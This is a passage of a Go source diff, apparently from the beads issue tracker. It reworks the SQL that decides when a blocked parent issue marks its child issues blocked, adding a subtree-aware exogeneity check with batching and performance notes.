climbBlockedParentsInTx(ctx, tx, refs, explained, complete) + if err != nil { + return read, err + } + dropBlockedFromAbove(explained, above) + + var out subtreeExplainedParents + for _, p := range refs { + switch { + case !explained[p]: + case p.wisp: + out.wispParents = append(out.wispParents, p.id) + default: + out.issueParents = append(out.issueParents, p.id) + } + } + return out, nil +} + +// refs lists the read's parents with their kinds, issue parents first. +func (e subtreeExplainedParents) refs() []parentRef { + out := make([]parentRef, 0, len(e.issueParents)+len(e.wispParents)) + for _, id := range e.issueParents { + out = append(out, parentRef{id: id}) + } + for _, id := range e.wispParents { + out = append(out, parentRef{id: id, wisp: true}) + } + return out +} + +// climbBlockedParentsInTx is pruneExplainedByAncestryInTx's walk: up from the +// read's parents through their blocked parents, returning the edges (child to +// its blocked parents) and entering every blocked parent it meets in +// explained. On a complete read it stops after one level; on a scoped read it +// climbs on from each new parent explainedAmongInTx finds explained. +func climbBlockedParentsInTx( + ctx context.Context, tx DBTX, frontier []parentRef, explained map[parentRef]bool, complete bool, +) (map[parentRef][]parentRef, error) { + above := make(map[parentRef][]parentRef) + for len(frontier) > 0 { + edges, err := blockedParentEdgesInTx(ctx, tx, frontier) + if err != nil { + return nil, err + } + var unknown []parentRef + for _, e := range edges { + above[e.child] = append(above[e.child], e.parent) + if _, met := explained[e.parent]; !met { + explained[e.parent] = false + unknown = append(unknown, e.parent) + } + } + if complete || len(unknown) == 0 { + break + } + frontier, err = explainedAmongInTx(ctx, tx, unknown) + if err != nil { + return nil, err + } + for _, p := range frontier { + explained[p] = true + } + } + return above, nil +} + +// dropBlockedFromAbove shrinks explained to the greatest set the contract +// allows: it drops any parent with a blocked parent outside the set, until +// nothing drops. +func dropBlockedFromAbove(explained map[parentRef]bool, above map[parentRef][]parentRef) { + for dropped := true; dropped; { + dropped = false + for p, ok := range explained { + if ok && !allExplained(above[p], explained) { + explained[p] = false + dropped = true + } + } + } +} + +func allExplained(parents []parentRef, explained map[parentRef]bool) bool { + for _, q := range parents { + if !explained[q] { + return false + } + } + return true +} + +// blockedParentEdgesInTx reads the parent-child edges from children up to a +// parent that is blocked. An edge lives in the child's dependency table and +// names the parent in the column for the parent's kind, so this is one lookup +// per child kind and parent kind, each keyed on the child's issue_id. The hints +// pin that drive, as on the batched legs. +// +//nolint:gosec // G201: table and column names are constants; the ids are ? placeholders. +func blockedParentEdgesInTx(ctx context.Context, tx DBTX, children []parentRef) ([]parentEdge, error) { + var issueIDs, wispIDs []string + for _, c := range children { + if c.wisp { + wispIDs = append(wispIDs, c.id) + } else { + issueIDs = append(issueIDs, c.id) + } + } + var out []parentEdge + for _, side := range []struct { + depTable string + ids []string + wisp bool + }{ + {"dependencies", issueIDs, false}, + {"wisp_dependencies", wispIDs, true}, + } { + for start := 0; start < len(side.ids); start += queryBatchSize { + end := min(start+queryBatchSize, len(side.ids)) + placeholders, args := buildSQLInClause(side.ids[start:end]) + for _, parent := range []struct { + table, col string + wisp bool + }{ + {"issues", "depends_on_issue_id", false}, + {"wisps", "depends_on_wisp_id", true}, + } { + edges, err := queryParentEdges(ctx, tx, fmt.Sprintf(` + SELECT /*+ JOIN_ORDER(d, p) LOOKUP_JOIN(d, p) */ d.issue_id, p.id + FROM %[1]s d + JOIN %[2]s p ON p.id = d.%[3]s + WHERE d.issue_id IN (%[4]s) + AND d.type = 'parent-child' + AND p.is_blocked = 1 + `, side.depTable, parent.table, parent.col, placeholders), args, side.wisp, parent.wisp) + if err != nil { + return nil, fmt.Errorf("read blocked parents of explained parents: %w", err) + } + out = append(out, edges...) + } + } + } + return out, nil +} + +// queryParentEdges runs one of blockedParentEdgesInTx's lookups and tags each +// (child, parent) row with the kinds the lookup was for. A table that does not +// exist has no edges. +func queryParentEdges( + ctx context.Context, tx DBTX, query string, args []any, childWisp, parentWisp bool, +) ([]parentEdge, error) { + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + if isTableNotExistError(err) { + return nil, nil + } + return nil, err + } + defer func() { _ = rows.Close() }() + var out []parentEdge + for rows.Next() { + var childID, parentID string + if err := rows.Scan(&childID, &parentID); err != nil { + return nil, fmt.Errorf("scan: %w", err) + } + out = append(out, parentEdge{ + child: parentRef{id: childID, wisp: childWisp}, + parent: parentRef{id: parentID, wisp: parentWisp}, + }) + } + return out, rows.Err() +} + +// explainedAmongInTx is parentsExplainedBySubtreeSQL for the named parents, by +// id. pruneExplainedByAncestryInTx uses it for the blocked parents above a +// batch that the batch-scoped read was not asked about. +// +// Unlike the wisp reads above, it does not tolerate a missing table, because it +// cannot meet one: the prune runs only on a non-empty read, and that read came +// from the same core query, which reads both item tables and both dependency +// tables whichever kind it asks about. +func explainedAmongInTx(ctx context.Context, tx DBTX, parents []parentRef) ([]parentRef, error) { + var out []parentRef + for _, kind := range []struct { + table, depTable string + wisp bool + }{ + {"issues", "dependencies", false}, + {"wisps", "wisp_dependencies", true}, + } { + var ids []string + for _, p := range parents { + if p.wisp == kind.wisp { + ids = append(ids, p.id) + } + } + for start := 0; start < len(ids); start += queryBatchSize { + end := min(start+queryBatchSize, len(ids)) + placeholders, args := buildSQLInClause(ids[start:end]) + found, err := queryIDs(ctx, tx, + parentsExplainedBySubtreeCoreSQL(kind.table, kind.depTable, candByIDSQL(kind.table, placeholders)), + args...) + if err != nil { + return nil, fmt.Errorf("read explained parents above the batch: %w", err) + } + for _, id := range found { + out = append(out, parentRef{id: id, wisp: kind.wisp}) + } + } + } + return out, nil +} + +// batchParentKindsInTx reports which parent KINDS the batch can possibly ask +// about: whether any parent-child row in the batch names an issue parent, and +// whether any names a wisp parent. +// +// It is the cheap guard in front of the two reads above, and it is what keeps +// the SMALL-batch case honest. A kind with no parent-child row in the batch +// has an empty candidate set, hence an empty exogeneity set, so its read is +// pure overhead — and that overhead is not small: the read is a ten-join walk +// under two CTEs, which dolt spends ~8 ms planning whether it returns rows or +// not. Most batches name no wisp parent at all, and a batch of roots (or of +// rows with no hierarchy) names neither. Measured at 1000 issues / 2870 deps, +// per pass: a 2-id batch of unparented rows 37 ms with both reads run blind +// against 20 ms with this guard, which is origin/main's own number. +// +// One indexed aggregate, both columns at once, because COUNT ignores NULLs and +// a parent-child row carries exactly one of the two. +// +//nolint:gosec // G201: depTable is a constant from the caller; scope carries only ? placeholders. +func batchParentKindsInTx( + ctx context.Context, tx DBTX, depTable, scope string, args []any, +) (bool, bool, error) { + query := fmt.Sprintf(` + SELECT COUNT(d.depends_on_issue_id), COUNT(d.depends_on_wisp_id) + FROM %[1]s d + WHERE d.issue_id IS NOT NULL %[2]s + AND d.type = 'parent-child' + `, depTable, scope) + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + return false, false, err + } + defer func() { _ = rows.Close() }() + var issueParents, wispParents int64 + if rows.Next() { + if err := rows.Scan(&issueParents, &wispParents); err != nil { + return false, false, fmt.Errorf("scan batch parent kinds: %w", err) + } + } + if err := rows.Err(); err != nil { + return false, false, err + } + return issueParents > 0, wispParents > 0, nil +} + +// candSource names one dependency table the candidate-parent set is read from, +// with the batch scope that confines it there (empty for the unbatched reads). +type candSource struct { + depTable string + scope string +} + +// unbatchedCandSources is every table a parent-child edge can live in. The +// batched templates pass their own single scoped source instead. +func unbatchedCandSources() []candSource { + return []candSource{{depTable: "dependencies"}, {depTable: "wisp_dependencies"}} +} + +func queryIDs(ctx context.Context, tx DBTX, query string, args ...any) ([]string, error) { + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + return nil, err + } + defer func() { _ = rows.Close() }() + var out []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + return nil, err + } + out = append(out, id) + } + return out, rows.Err() +} + +// shouldBeBlockedIDsUnionPrecomputedSQL is the union for the UNBATCHED +// statements: no batch scope, and the two parent-child legs subtract an +// already-read id list instead of re-deriving it (see +// subtreeExplainedParents). The caller binds explained.args() once per splice. +// +//nolint:gosec // G201: depTable is constant; the exclusions are ? placeholders. +func shouldBeBlockedIDsUnionPrecomputedSQL(depTable string, explained subtreeExplainedParents) string { + return shouldBeBlockedIDsUnionCoreSQL(depTable, "", + notInPlaceholders(len(explained.issueParents)), + notInPlaceholders(len(explained.wispParents))) +} + +// shouldBeBlockedIDsUnionScopedPrecomputedSQL selects, UNCORRELATED with any +// outer row, every depTable issue_id that currently has a reason to be +// blocked: one UNION leg per reason — an open blocks/conditional-blocks target +// (issue or wisp), an EXOGENOUSLY blocked parent-child parent (issue or wisp; +// see parentsExplainedBySubtreeSQL), a blocking waits-for gate. // Semantically, `.id IN (this select)` ≡ the disjunction of those // reasons correlated on d.issue_id = .id, which is what the batched // mark/unmark templates in blocked_state.go once spelled out as five // correlated EXISTS — but the engine evaluates this form once as hash // lookups instead of per outer row (bd-t9ypt). Full repair, doctor count and -// the batched templates (scoped, see below) now share this one definition. +// the batched templates share the one core below. // -//nolint:gosec // G201: depTable is constant; waitsForGateBlockedSQL is a constant template. -func shouldBeBlockedIDsUnionSQL(depTable string) string { - return shouldBeBlockedIDsUnionScopedSQL(depTable, "") -} - -// shouldBeBlockedIDsUnionScopedSQL is shouldBeBlockedIDsUnionSQL with an +// It carries an // extra predicate on the dependency row appended to every leg's WHERE — "" for // the whole table (full repair, doctor count), batchScopeSQL for the batched // mark/unmark templates in blocked_state.go, which confine each leg to // d.issue_id IN (batch) so the union stays index-sized per statement. scope is // spliced verbatim: a %s inside it survives this Sprintf for the batch runner. // +// Like the unbatched form above, and unlike the shape this round replaced, the +// two parent-child legs SUBTRACT AN ALREADY-READ id list rather than the query +// that derives it: the batch runner reads the set once per batch +// (scopedExplainedParentsInTx) and binds it into both statements. The caller +// binds explained.args() once per splice, interleaved with the batch ids in +// text order — expandBatchTemplate does that bookkeeping. +// // The waits-for leg wraps its dependency rows in a DISTINCT derived table // BEFORE the gate predicate (waitsForGateBlockedSQL, six correlated EXISTS // over the parent-child children and the spawner) is applied, so the engine @@ -418,36 +928,53 @@ func shouldBeBlockedIDsUnionSQL(depTable string) string { // (embedded) pins the hinted plans. // //nolint:gosec // G201: depTable and scope are constants; waitsForGateBlockedSQL is a constant template. -func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { +func shouldBeBlockedIDsUnionScopedPrecomputedSQL( + depTable, scope string, explained subtreeExplainedParents, +) string { + return shouldBeBlockedIDsUnionCoreSQL(depTable, scope, + notInPlaceholders(len(explained.issueParents)), + notInPlaceholders(len(explained.wispParents))) +} + +// shouldBeBlockedIDsUnionCoreSQL is the five legs themselves. The two +// parent-child legs take their exogeneity condition as text: both callers +// pass an already-read IN-list rendered to placeholders (notInPlaceholders), +// saying "unless this parent is explained by its own subtree", and the empty +// string says "no parent is", which is what an empty set means. +// +//nolint:gosec // G201: depTable and scope are constants; the conditions come from the two callers above. +func shouldBeBlockedIDsUnionCoreSQL(depTable, scope, issueParentCond, wispParentCond string) string { targetHint, parentHint := "", "" if scope != "" { targetHint = "/*+ JOIN_ORDER(d, t) LOOKUP_JOIN(d, t) */ " parentHint = "/*+ JOIN_ORDER(d, p) LOOKUP_JOIN(d, p) */ " } return fmt.Sprintf(` - SELECT %[4]sd.issue_id FROM %[1]s d + SELECT %[6]sd.issue_id FROM %[1]s d JOIN issues t ON t.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT %[4]sd.issue_id FROM %[1]s d + SELECT %[6]sd.issue_id FROM %[1]s d JOIN wisps t ON t.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT %[5]sd.issue_id FROM %[1]s d + SELECT %[7]sd.issue_id FROM %[1]s d JOIN issues p ON p.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 + %[4]s UNION - SELECT %[5]sd.issue_id FROM %[1]s d + SELECT %[7]sd.issue_id FROM %[1]s d JOIN wisps p ON p.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 + %[5]s UNION SELECT d.issue_id FROM ( SELECT DISTINCT d.issue_id, d.depends_on_issue_id, d.depends_on_wisp_id, d.metadata @@ -456,7 +983,236 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { AND d.type = 'waits-for' ) d WHERE (%[2]s) - `, depTable, waitsForGateBlockedSQL, scope, targetHint, parentHint) + `, depTable, waitsForGateBlockedSQL, scope, issueParentCond, wispParentCond, targetHint, parentHint) +} + +// subtreeWalkDepth is how far parentsExplainedBySubtreeSQL walks up from a +// blocking reason's target looking for the parent that holds the reason — the +// depth to which "inside my own subtree" is decided. +// +// The walk is spelled as this many pairs of LEFT JOINs rather than as WITH +// RECURSIVE, and that is a measured choice, not a portability one (dolt runs +// recursive CTEs elsewhere in this package). At 1000 issues / 2870 deps the +// seeded recursive walk cost 45 ms per evaluation against 6 ms for four levels +// of joins: a recursive CTE pays a whole query's overhead per ITERATION, so +// its cost tracks hierarchy depth even when it returns a hundred rows. A fixed +// join chain pays once, and each level is an index probe. +// +// The price is a horizon. A reason target more than this many parent-child +// edges below its blocker reads as exogenous, which is the pre-#6506 behavior +// for that one pair: it propagates MORE, never less, so nothing is hidden that +// the old code showed, and the permanent lock this fix removes needs the +// blocker and the target in the SAME subtree within the horizon. Four covers +// epic -> sub-epic -> leg -> task, which is deeper than any dotted-id +// hierarchy this store has carried, and it is the knob to turn first if a +// real store is ever found below it. +// +// BOTH SIDES OF THE HORIZON ARE PINNED, by a pair of dolt tests that differ by +// one edge: TestParentChildCascade_ReasonAtTheWalkHorizon (a reason exactly +// this many levels down; the subtree comes bright) and +// _ReasonPastTheWalkHorizon (one level further; the subtree stays dark, which +// is origin/main's own answer, so that test passes unchanged on origin/main). +// Raising this constant makes the second one fail and name the rows that +// changed. Measured cost of raising it, at 1000 issues / 2870 deps: see the +// commit that introduced the pin. +const subtreeWalkDepth = 4 + +// parentsExplainedBySubtreeSQL is the parent-child legs' exogeneity test +// (gastownhall/beads#6506): the set of blocked parents whose blockedness is +// SOLELY explained by their own subtree, which the legs subtract with +// `p.id NOT IN (...)`. It decides once per statement, uncorrelated with any +// outer row, which blocked parents may not darken their children. +// +// The bug it closes: the legs used to cascade on p.is_blocked = 1 alone, +// WHATEVER set that bit. A parent that is blocked only by its own children — +// the "close gate on the epic" idiom, where P carries blocks edges onto C1 and +// C2 so P cannot close before them — therefore darkened C1 and C2, the very +// children it was waiting for. Neither child could ever appear in bd ready, so +// neither could be worked, so neither could close: a permanent lock. P's OWN +// is_blocked stays 1 (it really does depend on open children); only the +// propagation to its children changes. +// +// The contract: a parent-child edge propagates only EXOGENOUS blockedness. P +// counts as blocked FOR CHILD C iff P has a blocking reason — an open +// blocks/conditional-blocks target, or a blocking waits-for gate — whose +// target is OUTSIDE P'S OWN SUBTREE, or P's own parent-child parent is +// (recursively) exogenously blocked. +// +// SUBTREE, not direct children. A depth-1 reading of "own child" leaves the +// permanent lock alive one level down: P blocks on grandchild G, pc C -> P, +// pc G -> C. G is not P's direct child, so P reads exogenous, so P darkens C, +// so C darkens G — and G is the only row whose close can free P. The walk up +// the ancestor chain (subtreeWalkDepth) is what makes this a descendant test. +// +// SHAPE. The caller's condition is a subtraction: +// +// AND p.id NOT IN (this select, pruned by pruneExplainedByAncestryInTx) +// +// A parent cascades unless it appears here. A parent with NO blocking reason +// row of its own is absent from this set, because the set is built from reason +// rows, so it cascades. For such a parent that is the contract's recursive +// clause, carried by the EXISTING fixpoint and not by a second pass of SQL +// recursion: it is dark because ITS parent is, so its children inherit. +// Because the legs keep the p.is_blocked = 1 conjunct, a chain converges the +// way it always did, one level per fixpoint pass, and the single-pass doctor +// COUNT stays the documented lower bound. A parent that DOES carry a reason is +// dark whatever is above it, so the fixpoint cannot carry the clause for it: +// pruneExplainedByAncestryInTx drops it from the set when a blocked parent +// above it is not itself explained. +// +// Every reason row is either inside the parent's subtree or outside it, so +// "no reason row is exogenous" (MAX(...) = 0 below) is the whole membership +// test; the two bits the shape started with collapse to one. +// +// COST (gastownhall/beads#6288, wy-pyrus4, and B2 of the #6506 review). Three +// earlier cuts were built and measured at 1000 issues / 2870 deps, and all +// three are in the rejected pile: +// +// - a per-row correlated EXISTS whose body held two more correlated EXISTS, +// the exact shape #6288 removed from the waits-for leg: 3.3-3.7x on the +// full repair, 5.2x on the doctor count (the review's own numbers); +// - the set as a derived table LEFT JOINed on p.id: ~30x. A join operand is +// a join operand — dolt planned it as the inner side of a nested loop and +// rebuilt it per outer row, the correlated shape again in a derived +// table's clothes; +// - the same set built with WITH RECURSIVE: it blew the driver read timeout +// on the full repair (see subtreeWalkDepth). +// +// What is left is uncorrelated by construction. Nothing below references the +// outer row — that is what lets the engine build the set once per statement +// and probe it, the form this file already relies on for +// `.id IN (the should-be-blocked union)` (bd-t9ypt) — and it is the +// property to preserve in any future edit here. Measured against a leg with +// no exogeneity test at all: 3 ms -> 18 ms per evaluation, flat in the number +// of parent-child rows the leg returns. +// +// The set is also confined to the statement's own work: +// +// - cand is the set of parents the caller can possibly ask about. A batched +// mark/unmark passes ONE source — its own dependency table, carrying its +// own batch scope (see scopedExplainedParentsInTx) — so it computes the +// handful of parents above the batch. The unbatched read passes both +// tables unscoped, which is every row that is a parent at all and already +// prunes most of the table. The alias must be d: batchScopeSQL is written +// against d.issue_id and is spliced verbatim. It binds to this subquery's +// own FROM, not an enclosing leg's d — the set is not lateral and +// correlates with nothing outside it. +// - rsn is those parents' blocking reason rows, and is where the reason +// predicate is paid: once per candidate parent row, not once per +// parent-child edge in the leg. +// +// blockingReasonSQL mirrors union legs 1, 2 and 5 row by row; keep the three +// in step or the "solely explained by its own subtree" reading silently +// drifts. +// +// parentTable/parentDepTable/parentCol describe the PARENT's kind (issues + +// dependencies, or wisps + wisp_dependencies); cands name the tables the +// parent-child edges are read from, which are the CHILDREN's. A parent-child +// edge lives in the child's table and names the parent in parentCol. +// +//nolint:gosec // G201: every argument is a constant from the two call sites; scope is batchScopeSQL. +func parentsExplainedBySubtreeSQL(parentTable, parentDepTable, parentCol string, cands []candSource) string { + var cand strings.Builder + for i, c := range cands { + if i > 0 { + cand.WriteString("\n\t\t UNION") + } + fmt.Fprintf(&cand, ` + SELECT DISTINCT d.%[1]s FROM %[2]s d + WHERE d.issue_id IS NOT NULL %[3]s + AND d.type = 'parent-child' + AND d.%[1]s IS NOT NULL`, parentCol, c.depTable, c.scope) + } + return parentsExplainedBySubtreeCoreSQL(parentTable, parentDepTable, cand.String()) +} + +// candByIDSQL is a cand body naming parents by id: placeholders is a rendered +// IN-list, for explainedAmongInTx. +// +//nolint:gosec // G201: parentTable is a constant; placeholders carries only ? placeholders. +func candByIDSQL(parentTable, placeholders string) string { + return fmt.Sprintf(` + SELECT c.id FROM %s c WHERE c.id IN (%s)`, parentTable, placeholders) +} + +// parentsExplainedBySubtreeCoreSQL is parentsExplainedBySubtreeSQL over a cand +// body the caller has already built: the parent-child rows of a batch or of the +// whole store (parentsExplainedBySubtreeSQL), or parents named by id +// (candByIDSQL). +// +//nolint:gosec // G201: parentTable and parentDepTable are constants; cand is built from constants and ? placeholders. +func parentsExplainedBySubtreeCoreSQL(parentTable, parentDepTable, cand string) string { + // The ancestor walk: one pair of indexed LEFT JOINs per level, on the + // dependency tables directly. Materializing the parent-child edges into a + // CTE first was measured at 6.6x on the batched write path — the whole + // edge set of the store, built per statement, to answer a question about a + // handful of rows. Joined straight onto idx_dependencies_issue it is a + // probe per level per reason row instead. + var joins, match strings.Builder + child := "r.tgt" + for i := 1; i <= subtreeWalkDepth; i++ { + ia, wa := fmt.Sprintf("i%d", i), fmt.Sprintf("w%d", i) + fmt.Fprintf(&joins, ` + LEFT JOIN dependencies %[1]s ON %[1]s.issue_id = %[3]s AND %[1]s.type = 'parent-child' + LEFT JOIN wisp_dependencies %[2]s ON %[2]s.issue_id = %[3]s AND %[2]s.type = 'parent-child'`, + ia, wa, child) + // The level's parent, whichever table and column carries it. A child + // has one parent-child edge, so at most one of these four is set. + parent := fmt.Sprintf( + "COALESCE(%[1]s.depends_on_issue_id, %[1]s.depends_on_wisp_id, %[2]s.depends_on_issue_id, %[2]s.depends_on_wisp_id)", + ia, wa) + if i > 1 { + match.WriteString(" OR ") + } + fmt.Fprintf(&match, "%s = r.pid", parent) + child = parent + } + + return fmt.Sprintf(` + WITH + cand(pid) AS (%[3]s + ), + rsn(pid, tgt) AS ( + SELECT pr.issue_id, COALESCE(pr.depends_on_issue_id, pr.depends_on_wisp_id) + FROM %[2]s pr + JOIN %[1]s pp ON pp.id = pr.issue_id + JOIN cand ON cand.pid = pr.issue_id + WHERE pp.is_blocked = 1 + AND pr.issue_id IS NOT NULL + AND (%[4]s) + ), + bits(pid, exogenous) AS ( + SELECT r.pid, MAX(CASE WHEN %[6]s THEN 0 ELSE 1 END) + FROM rsn r%[5]s + GROUP BY r.pid + ) + SELECT b.pid FROM bits b WHERE b.exogenous = 0 + `, parentTable, parentDepTable, cand, + blockingReasonSQL("pr"), joins.String(), match.String()) +} + +// blockingReasonSQL is the row-level spelling of "this dependency row is, +// right now, a reason for its own issue to be blocked" — union legs 1 and 2 +// (an open blocks/conditional-blocks target, issue or wisp) and leg 5 (a +// blocking waits-for gate), for a dependency row aliased rowAlias. +// +// It is a per-ROW predicate, but its one caller evaluates it in a set: inside +// parentsExplainedBySubtreeSQL's aggregate, over the reason rows of the parents +// that statement can be asked about, once. It is never applied per row of an +// enclosing leg — that is the correlated shape #6288 removed and B2 measured. +// +//nolint:gosec // G201: rowAlias is a constant; waitsForGateBlockedSQLFor rewrites a constant template. +func blockingReasonSQL(rowAlias string) string { + return fmt.Sprintf(` + ( ( (%[1]s.type = 'blocks' OR %[1]s.type = 'conditional-blocks') + AND ( EXISTS (SELECT 1 FROM issues bt + WHERE bt.id = %[1]s.depends_on_issue_id + AND bt.status <> 'closed' AND bt.status <> 'pinned') + OR EXISTS (SELECT 1 FROM wisps bt + WHERE bt.id = %[1]s.depends_on_wisp_id + AND bt.status <> 'closed' AND bt.status <> 'pinned') ) ) + OR ( %[1]s.type = 'waits-for' AND (%[2]s) ) ) + `, rowAlias, waitsForGateBlockedSQLFor(rowAlias)) } // CountIsBlockedInconsistenciesInTx reports how many issue and wisp rows carry a @@ -464,7 +1220,7 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { // detection behind the bd doctor "Blocked State" check (bd-6dnrw.37); the // repair is RecomputeAllIsBlockedInTx. // -// Both derive their membership test from the one shouldBeBlockedIDsUnionSQL +// Both derive their membership test from the one union // builder above, and they are pinned together by the blocked-consistency // lockstep test: a converged database counts 0, and any row this counts is one // a recompute pass changes. The count is a single-pass lower bound — a @@ -474,13 +1230,20 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { func CountIsBlockedInconsistenciesInTx(ctx context.Context, tx DBTX) (int64, error) { var total int64 - n, err := countRows(ctx, tx, countStaleIsBlockedSQL("issues", "i", "dependencies")) + // One exogeneity read for both statements; each splices the union twice, + // so the ids are bound twice per statement. + explained, err := subtreeExplainedParentsInTx(ctx, tx) + if err != nil { + return 0, fmt.Errorf("count stale is_blocked issues: %w", err) + } + args := append(explained.args(), explained.args()...) + n, err := countRows(ctx, tx, countStaleIsBlockedSQL("issues", "i", "dependencies", explained), args...) if err != nil { return 0, fmt.Errorf("count stale is_blocked issues: %w", err) } total += n - n, err = countRows(ctx, tx, countStaleIsBlockedSQL("wisps", "w", "wisp_dependencies")) + n, err = countRows(ctx, tx, countStaleIsBlockedSQL("wisps", "w", "wisp_dependencies", explained), args...) if err != nil { if isTableNotExistError(err) { return total, nil @@ -502,14 +1265,14 @@ func CountIsBlockedInconsistenciesInTx(ctx context.Context, tx DBTX) (int64, err // set-membership form of De Morgan over the shouldBeBlocked disjunction). // // is_blocked is 0 or 1, so the branches are mutually exclusive and the count is -// their sum. Built on the uncorrelated shouldBeBlockedIDsUnionSQL for the same +// their sum. Built on the uncorrelated union for the same // reason as the full repair (bd-t9ypt): the correlated disjunction form ran per // outer row and cost whole-table scans per branch. table/alias/depTable are // hardcoded constants supplied by the only two callers. // //nolint:gosec // G201: table, alias, and depTable are constant; only the constant gate SQL is interpolated. -func countStaleIsBlockedSQL(table, alias, depTable string) string { - union := shouldBeBlockedIDsUnionSQL(depTable) +func countStaleIsBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { + union := shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained) return fmt.Sprintf(` SELECT COUNT(*) FROM %[1]s %[2]s WHERE @@ -524,8 +1287,8 @@ func countStaleIsBlockedSQL(table, alias, depTable string) string { } // countRows runs a single COUNT(*) query and returns the scalar. -func countRows(ctx context.Context, tx DBTX, query string) (int64, error) { - rows, err := tx.QueryContext(ctx, query) +func countRows(ctx context.Context, tx DBTX, query string, args ...any) (int64, error) { + rows, err := tx.QueryContext(ctx, query, args...) if err != nil { return 0, err } diff --git a/internal/storage/issueops/blocked_state.go b/internal/storage/issueops/blocked_state.go index 59c52ad49..66997bf2e 100644 --- a/internal/storage/issueops/blocked_state.go +++ b/internal/storage/issueops/blocked_state.go @@ -4,7 +4,7 @@ import ( "context" "database/sql" "fmt" - "strings" + "regexp" "github.com/steveyegge/beads/internal/types" ) @@ -129,6 +129,25 @@ const waitsForGateBlockedSQL = ` ) ` +// waitsForGateRowAliasRE matches the dependency-row alias references in +// waitsForGateBlockedSQL — `d.` at a word boundary, which never matches the +// gate's own inner `cd.` rows (no boundary between c and d). +var waitsForGateRowAliasRE = regexp.MustCompile(`\bd\.`) + +// waitsForGateBlockedSQLFor returns waitsForGateBlockedSQL with its +// dependency-row alias rewritten from d to alias, for callers that evaluate +// the gate somewhere the row cannot be called d — blockingReasonSQL applies it +// to a parent's own dependency rows inside a union leg whose outer row is +// already d (gastownhall/beads#6506). Rewriting beats shadowing: an inner d +// would resolve correctly by scope rules but reads as a bug at every later +// glance. +func waitsForGateBlockedSQLFor(alias string) string { + if alias == "d" { + return waitsForGateBlockedSQL + } + return waitsForGateRowAliasRE.ReplaceAllString(waitsForGateBlockedSQL, alias+".") +} + // RecomputeIsBlockedResult reports which issue tables had rows changed while // the blocked-state fixpoint converged. type RecomputeIsBlockedResult struct { @@ -166,27 +185,25 @@ func recomputeIsBlockedInTxWithResult( if err != nil { return result, err } - issuePlan, err := planRecomputeInTx(ctx, tx, "issues", "dependencies", - markBlockedTemplateForIssues(), unmarkBlockedTemplateForIssues(), issueIDs, splitEdgeless) + issuePlan, err := planRecomputeInTx(ctx, tx, issuesBlockedSpec, issueIDs, splitEdgeless) if err != nil { return result, err } - wispPlan, err := planRecomputeInTx(ctx, tx, "wisps", "wisp_dependencies", - markBlockedTemplateForWisps(), unmarkBlockedTemplateForWisps(), wispIDs, splitEdgeless) + wispPlan, err := planRecomputeInTx(ctx, tx, wispsBlockedSpec, wispIDs, splitEdgeless) if err != nil { return result, err } for pass := 0; ; pass++ { var changed int64 - n, err := issuePlan.runPassInTx(ctx, tx, pass == 0) + n, err := runRecomputePassInTx(ctx, tx, issuePlan, pass == 0) if err != nil { return result, err } changed += n result.IssueRowsChanged = result.IssueRowsChanged || n > 0 - n, err = wispPlan.runPassInTx(ctx, tx, pass == 0) + n, err = runRecomputePassInTx(ctx, tx, wispPlan, pass == 0) if err != nil { return result, err } @@ -240,7 +257,7 @@ func markIsBlockedPassForIssuesInTx(ctx context.Context, tx DBTX, ids []string) if len(ids) == 0 { return 0, nil } - return runMarkBatchedInTx(ctx, tx, markBlockedTemplateForIssues(), ids) + return runMarkBatchedInTx(ctx, tx, issuesBlockedSpec, ids) } // The mark/unmark templates explicitly assign updated_at to itself: @@ -251,38 +268,60 @@ func markIsBlockedPassForIssuesInTx(ctx context.Context, tx DBTX, ids []string) // makes stale-guard/conflict-guard consumers treat the row as user-edited. // An explicit assignment suppresses the ON UPDATE clause. // -// Both templates decide membership through shouldBeBlockedIDsUnionScopedSQL, -// the same uncorrelated union the full repair and the doctor count use -// (blocked_consistency.go), scoped to the batch: one derived blocked set per -// batch, computed once and probed by hash. The previous shape — five -// correlated EXISTS per outer row — was re-executed per row by the engine: -// ~4 s per 200-id batch on committed, indexed data, and unbounded (>69 min -// observed on dolt 2.1.8) over a large uncommitted working set, where every -// probe re-read the uncommitted overlay (gastownhall/beads#6288). +// Both templates decide membership through +// shouldBeBlockedIDsUnionScopedPrecomputedSQL, the same uncorrelated union the +// full repair and the doctor count use (blocked_consistency.go), scoped to the +// batch: one derived blocked set per batch, computed once and probed by hash. +// The previous shape — five correlated EXISTS per outer row — was re-executed +// per row by the engine: ~4 s per 200-id batch on committed, indexed data, and +// unbounded (>69 min observed on dolt 2.1.8) over a large uncommitted working +// set, where every probe re-read the uncommitted overlay +// (gastownhall/beads#6288). +// +// The parent-child legs' exogeneity set (gastownhall/beads#6506) is READ once +// per batch and BOUND into both statements as ids, never spliced as the query +// that derives it: spliced, a 200-id recompute paid for the derivation four +// times and measured 6.9x origin/main (scopedExplainedParentsInTx has the +// numbers). Which is why the templates are built per batch rather than once: +// the number of bound ids is a property of the batch. // // The batch IN-list therefore appears more than once per statement — the -// outer row filter plus one per union leg; expandBatchTemplate repeats the -// placeholders and the bound ids to match. +// outer row filter and one per union leg (six occurrences today) — and the +// exogeneity ids appear as already-rendered ? placeholders inside two of those +// legs. expandBatchTemplate binds both groups in TEXT order. // batchScopeSQL is the per-leg predicate that confines the should-be-blocked -// union to the batch (see shouldBeBlockedIDsUnionScopedSQL); its %s is filled -// with the batch placeholders by expandBatchTemplate, never by 